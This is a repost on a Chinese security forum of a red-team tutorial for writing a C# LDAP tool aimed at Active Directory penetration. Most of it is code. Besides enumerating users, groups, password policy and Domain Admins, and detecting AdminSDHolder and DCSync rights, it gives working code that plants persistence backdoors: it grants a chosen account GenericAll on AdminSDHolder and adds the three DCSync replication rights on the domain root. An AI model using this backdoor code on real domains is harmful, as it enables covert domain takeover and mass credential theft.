安全矩阵

 找回密码
 立即注册
搜索
查看: 2325|回复: 0

内网渗透|C#编写LDAP内网渗透工具

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-5 09:41:02 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2021-10-5 09:42 编辑

文章来源:原创 22ccaab HACK学习呀
内网渗透|C#编写LDAP内网渗透工具


我们常规的ldap查询例如ldapsearch
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"
复制代码

ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123..

在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。

在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。​
  1. using System.DirectoryServices
复制代码



1.1域外连接

  1. string url = "LDAP://192.168.11.16/";
  2. string username = "hack";
  3. string password = "test123..";
  4. DirectoryEntry coon = new DirectoryEntry(url,username, password);
复制代码
DirectoryEntry类可封装 Active Directory 域服务层次结构中的节点或对象。
1.2 域内连接

如果是在域内,我们直接可以使用
  1. DirectoryEntry coon = new DirectoryEntry();
复制代码

所以我们就要判断下两种情况。我们知道了要用coon来获取节点列表,用search来进行条件查询。我们可以写两个方法来进行获取:
  1.         //域内
  2.         public static DirectoryEntry Get_coon_nopass()
  3.         {
  4.             coon = new DirectoryEntry();
  5.             return coon;
  6.         }
  7.         public static DirectorySearcher Get_search_nopass()
  8.         {
  9.             search = new DirectorySearcher(coon);
  10.             return search;
  11.         }
复制代码
  1.         //域外
  2.         public static void SET_LDAP_USER_PASS()
  3.         {
  4.             url = "LDAP://" + GetArgsValue.domain;
  5.             username = GetArgsValue.user;
  6.             password = GetArgsValue.pass;
  7.         }
  8.         public static DirectoryEntry Get_coon()
  9.         {
  10.             coon = new DirectoryEntry(url, username, password);
  11.             return coon;
  12.         }
  13.         public static DirectorySearcher Get_search()
  14.         {
  15.             search = new DirectorySearcher(coon);
  16.             return search;
  17.         }
复制代码
域内很好理解,这里来说下域外。SET_LDAP_USER_PASS()这个方法用来获取url,username,password,然后调用了GetArgsValue类里面的属性。
这里我用了NDesk.Options来处理获取的参数。

先定义三个list
  1. List<string> domains = new List<string>();
  2. List<string> users = new List<string>();
  3. List<string> passes = new List<string>();
复制代码
  1. { "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) },
  2. { "d|domain=", "the {IP} of the target",v => domains.Add (v) },
  3. { "u|user=", "the {user} of the target",v => users.Add (v) },
复制代码
这里的意思就是当用户输入-t -d -u 后面接受的值分别传递给了domains,users,passes。

然后写了个GetArgsValue类来存储这些值
  1.         public static string domain = "";
  2.         public static string user = "";
  3.         public static string pass = "";
  4.                 public static void GetDomainValue(List<string> param1 = null)
  5.         {
  6.             foreach (string p in param1)
  7.             {
  8.                 domain = p;
  9.             }
  10.         }
  11.         public static void GetUserValue(List<string> param2 = null)
  12.         {
  13.             foreach (string p in param2)
  14.             {
  15.                 user = p;
  16.             }
  17.         }
  18.         public static void GetPassValue(List<string> param3 = null)
  19.         {
  20.             foreach (string p in param3)
  21.             {
  22.                 pass = p;
  23.             }
  24.         }
复制代码
然后在主函数调用了一下方法。
  1. //domain ip
  2. GetArgsValue.GetDomainValue(domains);
  3. //domain user
  4. GetArgsValue.GetUserValue(users);
  5. //domain pass
  6. GetArgsValue.GetPassValue(passes);
复制代码

那么当用户输入的值就会存储在GetArgsValue类里面的3个字段里。现在看到一下就很好理解了
  1. url = "LDAP://" + GetArgsValue.domain;
  2. username = GetArgsValue.user;
  3. password = GetArgsValue.pass;
复制代码
域内外连接都写了,然后就要写一个方法来接受我们的连接。
  1.         public static void LDAP_COON()
  2.         {
  3.             if(GetArgsValue.user == "" && GetArgsValue.pass == "")
  4.             {
  5.                 try
  6.                 {
  7.                     coon = Get_coon_nopass();
  8.                     search = Get_search_nopass();
  9.                 }
  10.                 catch
  11.                 {
  12.                     Font.Warning();
  13.                     Console.WriteLine("connection ldap fail");
  14.                     Font.NormailFonts();
  15.                 }
  16.             }else if(GetArgsValue.user != "" && GetArgsValue.pass != "")
  17.             {
  18.                 try
  19.                 {
  20.                     SET_LDAP_USER_PASS();
  21.                     coon = Get_coon();
  22.                     search = Get_search();
  23.                 }
  24.                 catch
  25.                 {
  26.                     Font.Warning();
  27.                     Console.WriteLine("connection ldap fail");
  28.                     Font.NormailFonts();
  29.                 }
  30.             }
  31.         }
复制代码

这里我的方法就是当GetArgsValue.user和GetArgsValue.pass的值为空的时候就会执行域内连接方法,否则就为域外。

我们把这个连接方法封装到Ldapcoon类里面,方便后面的调用

当在域外输入以下就会连接
  1. xx.exe -d 192.168.11.16 -u hack -p test123..
复制代码


0x02 Filter搜索条件


这里只会讲一些我们需要用到的一些语法,其他语法如果感兴趣可以自行搜索下。

这里先举例获取域内用户
  1. (&(objectClass=user)(objectCategory=person))
复制代码

在c#中DirectorySearcher类的作用是对 Active Directory 域服务执行查询
  1. public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
  2. searchRoot
  3. DirectoryEntry
  4. Active Directory 域服务层次结构中的节点,从该节点处开始搜索。 SearchRoot 属性初始化为该值。
复制代码
设置filter为查询域内所有用户
  1. DirectorySearcher search = new DirectorySearcher(coon);
  2. search.Filter = "(&(objectClass=user)(objectCategory=person))";
  3. foreach (SearchResult r in search.FindAll())
  4.             {
  5.                 string users = "";
  6.                 try
  7.                 {
  8.                     users = r.Properties["name"][0].ToString();
  9.                     Console.WriteLine(users);
  10.                 }
  11.                 catch
  12.                 {
  13.                     Console.WriteLine("error");
  14.                 }
  15.             }
复制代码

​这里name值如何而来,我其实是这样看的:我们先用ldapsearch执行该语句
  1. ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"
复制代码



代码:

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.DirectoryServices;
  7. namespace DemoLdap
  8. {
  9.     class Program
  10.     {
  11.         static void Main(string[] args)
  12.         {
  13.             string url = "LDAP://192.168.11.16";
  14.             string username = "hack";
  15.             string password = "test123..";
  16.             DirectoryEntry coon = new DirectoryEntry(url, username, password);
  17.             DirectorySearcher search = new DirectorySearcher(coon);
  18.             search.Filter = "(&(objectClass=user)(objectCategory=person))";
  19.             foreach(SearchResult r in search.FindAll())
  20.             {
  21.                 string users = "";
  22.                 try
  23.                 {
  24.                     users = r.Properties["name"][0].ToString();
  25.                     Console.WriteLine(users);
  26.                 }
  27.                 catch
  28.                 {
  29.                     Console.WriteLine("error");
  30.                 }
  31.             }
  32.         }
  33.     }
  34. }
复制代码
执行结果为:​



0x03 c#获取域内基本信息


前面连接函数已经写好后面获取这些基本信息就很简单了。
  1.         public static void GetAllUsers()
  2.         {
  3.             try
  4.             {
  5.                 Ldapcoon.LDAP_COON();
  6.                 Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
  7.                 Font.InfoFonts();
  8.                 Console.WriteLine("===========All Users===========");
  9.                 Font.NormailFonts();
  10.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  11.                 {
  12.                     string domain_users = "";
  13.                     domain_users = r.Properties["name"][0].ToString();
  14.                     Console.WriteLine(domain_users);
  15.                 }
  16.             }
  17.             catch
  18.             {
  19.                 Font.Warning();
  20.                 Console.WriteLine("error!");
  21.                 Font.NormailFonts();
  22.             }
  23.         }
复制代码
首先通过Ldapcoon类的LDAP_COON()方法获取域内节点coon,和可以用来搜索的search。域内就会返回域内的DirectoryEntry和DirectorySearcher对象,域外就会返回域外的DirectoryEntry和DirectorySearcher对象。

后面一些其他的就不再详讲

查询域内组
  1.        public static void GetAllGroups()
  2.         {
  3.             try
  4.             {
  5.                 Ldapcoon.LDAP_COON();
  6.                 Ldapcoon.search.Filter = "(&(objectCategory=group))";
  7.                 Font.InfoFonts();
  8.                 Console.WriteLine("===========All Groups===========");
  9.                 Font.NormailFonts();
  10.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  11.                 {
  12.                     string groups = "";
  13.                     string groupdescription = "";
  14.                     groups = r.Properties["cn"][0].ToString();
  15.                     Console.WriteLine("Group: " + groups);
  16.                     //groupdescription = r.Properties["description"][0].ToString();
  17.                     //Console.WriteLine("Description: " + groupdescription + "\r\n");
  18.                 }
  19.             }
  20.             catch
  21.             {
  22.                 Font.Warning();
  23.                 Console.WriteLine("error!");
  24.                 Font.NormailFonts();
  25.             }
  26.         }
复制代码
域内密码策略:
  1.         public static void GetPassPolicy()
  2.         {
  3.             try
  4.             {
  5.                 Ldapcoon.LDAP_COON();
  6.                 Font.InfoFonts();
  7.                 Console.WriteLine("===========Pass Policy===========");
  8.                 Font.NormailFonts();
  9.                 SearchResult r = Ldapcoon.search.FindOne();
  10.                 long maxDays = 0;
  11.                 long minDays = 0;
  12.                 Int64 maxPwdAge = 0;
  13.                 Int64 minPwdAge = 0;
  14.                 string minPwdLength = "";
  15.                 string lockoutThreshold = "";
  16.                 Int64 lockoutDuration = 0;
  17.                 long lockTime = 0;
  18.                 maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
  19.                 maxDays = maxPwdAge / -864000000000;
  20.                 minPwdAge = (Int64)r.Properties["minPwdAge"][0];
  21.                 minDays = minPwdAge / -864000000000;
  22.                 minPwdLength = r.Properties["minPwdLength"][0].ToString();
  23.                 lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
  24.                 lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
  25.                 lockTime = lockoutDuration / -864000000000;
  26.                 Console.WriteLine("最小修改密码时间:" + minDays);
  27.                 Console.WriteLine("最大修改密码时间:" + maxDays);
  28.                 Console.WriteLine("最小密码长度:" + minPwdLength);
  29.                 Console.WriteLine("多少次锁定:" + lockoutThreshold);
  30.                 Console.WriteLine("锁定持续时间:" + lockTime);
  31.             }
  32.             catch
  33.             {
  34.                 Font.Warning();
  35.                 Console.WriteLine("error!");
  36.                 Font.NormailFonts();
  37.             }
  38.         }
复制代码

域管
  1.         public static void GetAllAdmins()
  2.         {
  3.             try
  4.             {
  5.                 Ldapcoon.LDAP_COON();
  6.                 Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))";
  7.                 Font.InfoFonts();
  8.                 Console.WriteLine("===========All Domain Admins===========");
  9.                 Font.NormailFonts();
  10.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  11.                 {
  12.                     int domain_users_count = 0;
  13.                     string domain_users = "";
  14.                     int len = 0;
  15.                     domain_users_count = r.Properties["member"].Count;
  16.                     while(len < domain_users_count)
  17.                     {
  18.                         domain_users = r.Properties["member"][len].ToString();
  19.                         len++;
  20.                         if (domain_users.Contains("User"))
  21.                         {
  22.                             Console.WriteLine(domain_users);
  23.                         }
  24.                         else
  25.                         {
  26.                             continue;
  27.                         }  
  28.                     }
  29.                 }
  30.             }
  31.             catch
  32.             {
  33.                 Font.Warning();
  34.                 Console.WriteLine("error!");
  35.                 Font.NormailFonts();
  36.             }
  37.         }
复制代码

这里查询域管,我是这样进行处理的,我们先通过ldapsearch来查看返回结果​


然后我获取member的数量然后看里面是否包含user来输出。

0x04 AdminSDHolder检测与后门用户添加


4.1 检测

AdminSDHolder是对CN=AdminSDHolder,CN=System,DC=redteam,DC=local这个cn拥有完全控制权限的用户,我们前面说到
  1. public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
复制代码
这里的searchroot就是查询的根地址我们就需要绑定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local这里来也就是说url为
  1. LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
  2. 或者为
  3. LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
复制代码

​每个域的名字都不一样所以我们要来获取对象的DC=redteam,DC=local和redteam这个值。

这里我们来创建一个public_value类也就是公共值类。

我们通过adexplorer来可以看到distinguishedName的值就为我们需要的。

我们可以看到objectClass为domainDNS.

所以我们的filter为:
  1. (&(objectClass=domainDNS))
复制代码


这里先用ldapsearch来进行查询

所以我们可以写一个方法来获取了:

  1.         //获取DC=redteam,DC=local这个值
  2.         public static String GetdistinguishedName()
  3.         {
  4.             string Domain_DNS_Name = "";
  5.             try
  6.             {
  7.                 Ldapcoon.LDAP_COON();
  8.                 Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
  9.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  10.                 {
  11.                     string domainDNS_Name = "";
  12.                     domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
  13.                     Domain_DNS_Name = domainDNS_Name;
  14.                 }
  15.             }
  16.             catch
  17.             {
  18.                 Font.Warning();
  19.                 Console.WriteLine("error!");
  20.                 Font.NormailFonts();
  21.             }
  22.             return Domain_DNS_Name;
  23.         }
复制代码


同理



  1.         //获取readteam这个值
  2.         public static String Get_Dns_First_Name()
  3.         {
  4.             string Dns_First_Name = "";
  5.             try
  6.             {
  7.                 Ldapcoon.LDAP_COON();
  8.                 Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
  9.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  10.                 {
  11.                     string domainDC_Name = "";
  12.                     domainDC_Name = r.Properties["dc"][0].ToString();
  13.                     Dns_First_Name = domainDC_Name;
  14.                 }
  15.             }
  16.             catch
  17.             {
  18.                 Font.Warning();
  19.                 Console.WriteLine("error!");
  20.                 Font.NormailFonts();
  21.             }
  22.             return Dns_First_Name;
  23.         }
复制代码

那么现在就可以绑定adminsdholder路径了
  1.             //首先获取DC=redteam,DC=local这个值
  2.             string distinguishedName = "";
  3.             distinguishedName = public_value.GetdistinguishedName();
  4.             //然后获取readteam这个值
  5.             string dc = "";
  6.             dc = public_value.Get_Dns_First_Name();
  7.             if (dc != "" && distinguishedName != "")
  8.             {
  9.                 //进行拼接如果在域内可以直接拼接为以下
  10.                 //LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
  11.                 bool flag = public_value.isindomain();
  12.                 string AdminSDHolder_path = "";
  13.                 if (flag)
  14.                 {
  15.                     AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName;
  16.                 }
  17.                 else
  18.                 {
  19.                     AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName;
  20.                 }
  21.                 Ldapcoon.coon.Path = AdminSDHolder_path;
复制代码

这里为了方便我写了个isindomain放来来判断是否在域内还是在域外
  1.         //判断域内还是域外
  2.         public static bool isindomain()
  3.         {
  4.             if (GetArgsValue.user != "" && GetArgsValue.pass != "")
  5.             {
  6.                 return false;
  7.             }
  8.             return true;
  9.         }
复制代码

我们需求很简单就是要获取哪些用户对adminsdholder这个cn拥有完全控制权限。

DirectoryEntry类有个属性叫做ObjectSecurity作用是获取或设置此项的安全说明符。这个详细请自行查看msdn。
  1.                  ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity;
  2.                 AuthorizationRuleCollection rules = null;
  3.                 rules = sec.GetAccessRules(true, true, typeof(NTAccount));
  4.                 foreach (ActiveDirectoryAccessRule rule in rules)
  5.                 {
  6.                     if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
  7.                     {
  8.                         string acl = rule.IdentityReference.Value;
  9.                         if (acl.Contains("-"))
  10.                         {
  11.                             //域外查询可能会出现用户名为sid的情况。所以需要转换
  12.                             //Console.WriteLine(acl);
  13.                             string user_name = public_value.SidToUserName(acl);
  14.                             if(user_name != "error")
  15.                             {
  16.                                 Console.WriteLine(user_name);
  17.                             }  
  18.                         }
  19.                         else
  20.                         {
  21.                             Console.WriteLine(acl);
  22.                         }
  23.                     }
  24.                 }
复制代码

获取到coon的安全说明符后调用GetAccessRules方法获取与指定的安全性标识符关联的访问规则的集合。也就是说获取我们这个节点的规则集合,然后用foreach来循环判断。当用户的ActiveDirectoryRights也就是权限为GenericAll我们就输出出来他的名字,也就是对adminsdholder这个拥有完全控制权限的用户。当我们在域外的时候我们获取到的用户可能是sid,所以我们还需要让sid转换为域内用户名字。当然这个用户可能是一个user,group或者一个computer

这里调用了public_value的SidToUserName方法。 ​
  1.         //sid to username
  2.         public static string SidToUserName(string sid)
  3.         {
  4.             try
  5.             {
  6.                 Ldapcoon.LDAP_COON();
  7.                 string url = "LDAP://" + GetArgsValue.domain + "/<SID=" + sid + ">";
  8.                 Ldapcoon.coon.Path = url;
  9.                 Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
  10.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  11.                 {
  12.                     string users = "";
  13.                     users = r.Properties["name"][0].ToString();
  14.                     if (users != "")
  15.                     {
  16.                         return users;
  17.                     }
  18.                 }
  19.                 Ldapcoon.search.Filter = "(&(objectClass=group))";
  20.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  21.                 {
  22.                     string groups = "";
  23.                     groups = r.Properties["name"][0].ToString();
  24.                     if (groups != "")
  25.                     {
  26.                         return groups;
  27.                     }
  28.                 }
  29.                 Ldapcoon.search.Filter = "(&(objectClass=computer))";
  30.                 foreach (SearchResult r in Ldapcoon.search.FindAll())
  31.                 {
  32.                     string computers = "";
  33.                     computers = r.Properties["name"][0].ToString();
  34.                     if (computers != "")
  35.                     {
  36.                         return computers;
  37.                     }
  38.                 }
  39.             }
  40.             catch
  41.             {
  42.             }
  43.             return "error";
  44.         }
复制代码

在ldap用支持以下语法这种形式
  1. LDAP://192.168.11.16/<SID=xxxxxxxxxx>
复制代码

于是我们把sid带入,设置coon.path为该用户再通过(&(objectClass=user)(objectCategory=person))过滤条件搜索出来,比如

我们绑定了hack用户为rootpath,那么通过过滤条件搜索出来的也是它自己,因为它没有子节点了。然后获取他的name值,当获取到的不为空就返回,否则就返回error,然后在adminsdholder检测代码这边我们写道

  1.                         string acl = rule.IdentityReference.Value;
  2.                         if (acl.Contains("-"))
  3.                         {
  4.                             //域外查询可能会出现用户名为sid的情况。所以需要转换
  5.                             //Console.WriteLine(acl);
  6.                             string user_name = public_value.SidToUserName(acl);
  7.                             if(user_name != "error")
  8.                             {
  9.                                 Console.WriteLine(user_name);
  10.                             }
复制代码

当user_name不为error的时候就会输出,那么什么时候会输出error呢?假如我们以前有一个用户为qqq,然后他对adminsdholder这个组拥有完全控制权限,但是我们后来把这个用户删除了,他就会到一个CN=Deleted Objects里面他的sid就为url就为下面这个然后我们的LDAP://redteam/<SID=xxx>就会失败。
  1. CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local
复制代码

我们在匹配谁对adminsdholder拥有完全控制权限的时候还是会检测到。就搜索失败返回error,这里我们获取到error的直接continue。

4.2 添加


前面同理我们需要设置rootpath
  1. Ldapcoon.LDAP_COON();
  2. //获取DC=redteam,DC=local
  3. string distinguishedName = "";
  4. string domainname = "";
  5. domainname = public_value.Get_Dns_First_Name();
  6. distinguishedName = public_value.GetdistinguishedName();
  7. //string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local";
  8. string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName;
  9. //Console.WriteLine(AdminSDHolder_Path);
  10. Ldapcoon.coon.Path = AdminSDHolder_Path;
复制代码
赋予用户对adminsdholder完全控制权限
  1.             foreach (DirectoryEntry computer in Ldapcoon.coon.Children)
  2.             {
  3.                 if (computer.Name == "CN=AdminSDHolder")
  4.                 {
  5.                     ActiveDirectorySecurity sdc = computer.ObjectSecurity;
  6.                     NTAccount Account = new NTAccount(username);
  7.                     SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier));
  8.                     ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow);
  9.                     sdc.SetAccessRule(rule);
  10.                     computer.CommitChanges();
  11.                     Font.InfoFonts();
  12.                     Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!");
  13.                     Font.NormailFonts();
  14.                 }
  15.             }
复制代码

我们先遍历节点当节点为CN=AdminSDHolder的时候获取他的安全规则集合

然后我们看到ActiveDirectoryAccessRule类:用于表示 Active Directory 域服务对象的自由访问控制列表 (DACL) 中的访问控制项 (ACE)。
  1. ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)
复制代码

我们可以看到第一个参数为一个IdentityReference对象,第二个参数为访问规则权限的一个或多个,第三个参数为访问规则类型。

我们前面的account为NTAccount类型,我们可以通过Translate把他转换为IdentityReference类型,然后第二个我们设置为GenericAll,第三个设置为允许。我们设置了这个规则后可以通过SetAccessRule方法来设置。

最后通过CommitChanges方法来进行添加。


0x05 Dcsync检测与后门用户添加



5.1 检测


当用户对根域拥有完全控制权限或者拥有以下三条ace或者对以下权限打勾的时候就能dcsync。
  1. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  2. 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  3. 89e95b76-444d-4c62-991a-0facbeda640c
复制代码



我们先绑定rootpath为根路径然后先判断拥有完全控制权限的用户:

  1.                     if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
  2.                     {
  3.                         string acl = rule.IdentityReference.Value;
  4.                         if (acl.Contains("-"))
  5.                         {
  6.                             //域外查询可能会出现用户名为sid的情况。所以需要转换
  7.                             //Console.WriteLine(acl);
  8.                             string user_name = public_value.SidToUserName(acl);
  9.                             if (user_name != "error")
  10.                             {
  11.                                 ACE_Changes.Add(user_name);
  12.                                 ACE_Changes_All.Add(user_name);
  13.                                 ACE_Changes_In_Filtered_Set.Add(user_name);
  14.                             }
  15.                             else
  16.                             {
  17.                                 continue;
  18.                             }
  19.                         }
  20.                         else
  21.                         {
  22.                             ACE_Changes.Add(acl);
  23.                             ACE_Changes_All.Add(acl);
  24.                             ACE_Changes_In_Filtered_Set.Add(acl);
  25.                         }
  26.                     }
复制代码

这里的
  1. ACE_Changes.Add(acl);
  2. ACE_Changes_All.Add(acl);
  3. ACE_Changes_In_Filtered_Set.Add(acl);
复制代码

这里我通过switch case来进行判断是否拥有这个三条acl,可能有些用户只有两条或者一条,所以我通过
  1. string guids = rule.ObjectType.ToString();
  2. switch (guids)
  3. {
  4.   case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
  5.     username = dcsync_return_username(rule);
  6.     if(username == null)
  7.     {
  8.         continue;
  9.     }
  10.     //Console.WriteLine("ACE:复制目录更改");
  11.     //Console.WriteLine("User:"+ username);
  12.     ACE_Changes.Add(username);
  13.     break;
  14.   case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
  15.     username = dcsync_return_username(rule);
  16.     if (username == null)
  17.     {
  18.         continue;
  19.     }
  20.     //Console.WriteLine("ACE:复制目录更改全部");
  21.     //Console.WriteLine("User:" + username);
  22.     ACE_Changes_All.Add(username);
  23.     break;
  24.   case "89e95b76-444d-4c62-991a-0facbeda640c":
  25.     username = dcsync_return_username(rule);
  26.     if (username == null)
  27.     {
  28.         continue;
  29.     }
  30.     //Console.WriteLine("ACE:复制过滤集中的目录更改");
  31.     //Console.WriteLine("User:" + username);
  32.     ACE_Changes_In_Filtered_Set.Add(username);
  33.     break;
  34. }
复制代码

来进行处理,当拥有每条acl的时候就添加到一个集合里面,然后我们再取三个集合的交集
  1. //取三个集合的交集
  2. IEnumerable<string> dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All);
  3. IEnumerable<string> dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set);
  4. foreach(string dcsync_users in dcsync_users2)
  5. {
  6.     Console.WriteLine(dcsync_users);
  7. }
复制代码

通过以上方法取出来我发现了一个问题当一个用户勾选了特殊权限,他的acl里面那三个复制目录权限是没有打上勾的但是依然能够进行dcsync。

再ActiveDirectoryAccessRule类里面存在一个InheritedObjectType属性,他的作用是获取可继承ObjectAccessRule对象的子对象的类型,所以我们也要判断用户这里面的值是否也用户这三条acl。​
  1. string guids_extend = rule.InheritedObjectType.ToString();
  2. switch (guids_extend)
  3. {
  4.   case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
  5.   username = dcsync_return_username(rule);
  6.   if (username == null)
  7.   {
  8.       continue;
  9.   }
  10.   //Console.WriteLine("ACE:复制目录更改");
  11.   //Console.WriteLine("User:"+ username);
  12.   ACE_Changes.Add(username);
  13.   break;
  14.     case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
  15.     username = dcsync_return_username(rule);
  16.     if (username == null)
  17.     {
  18.         continue;
  19.     }
  20.     //Console.WriteLine("ACE:复制目录更改全部");
  21.     //Console.WriteLine("User:" + username);
  22.     ACE_Changes_All.Add(username);
  23.     break;
  24.   case "89e95b76-444d-4c62-991a-0facbeda640c":
  25.   username = dcsync_return_username(rule);
  26.   if (username == null)
  27.   {
  28.       continue;
  29.   }
  30.   //Console.WriteLine("ACE:复制过滤集中的目录更改");
  31.   //Console.WriteLine("User:" + username);
  32.   ACE_Changes_In_Filtered_Set.Add(username);
  33.   break;
  34.   }
复制代码

5.2 添加


我们通过ExtendedRightAccessRule类来添加这三条acl的guid
  1. public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);
复制代码
第一个为SecurityIdentifier的对象,前面已经说明了。第二个为访问规则类型。第三个为acl的guid。

然后通过AddAccessRule来添加。
  1. ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity;
  2. NTAccount ntaToDelegate = new NTAccount(username);
  3. SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier));
  4. Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2");
  5. Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2");
  6. Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c");
  7. ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes);
  8. ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All);
  9. ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered);
  10. adsOUSec.AddAccessRule(Changes);
  11. adsOUSec.AddAccessRule(Changes_All);
  12. adsOUSec.AddAccessRule(Changes_Filtered);
  13. Ldapcoon.coon.CommitChanges()
复制代码



















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:24 , Processed in 0.019062 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表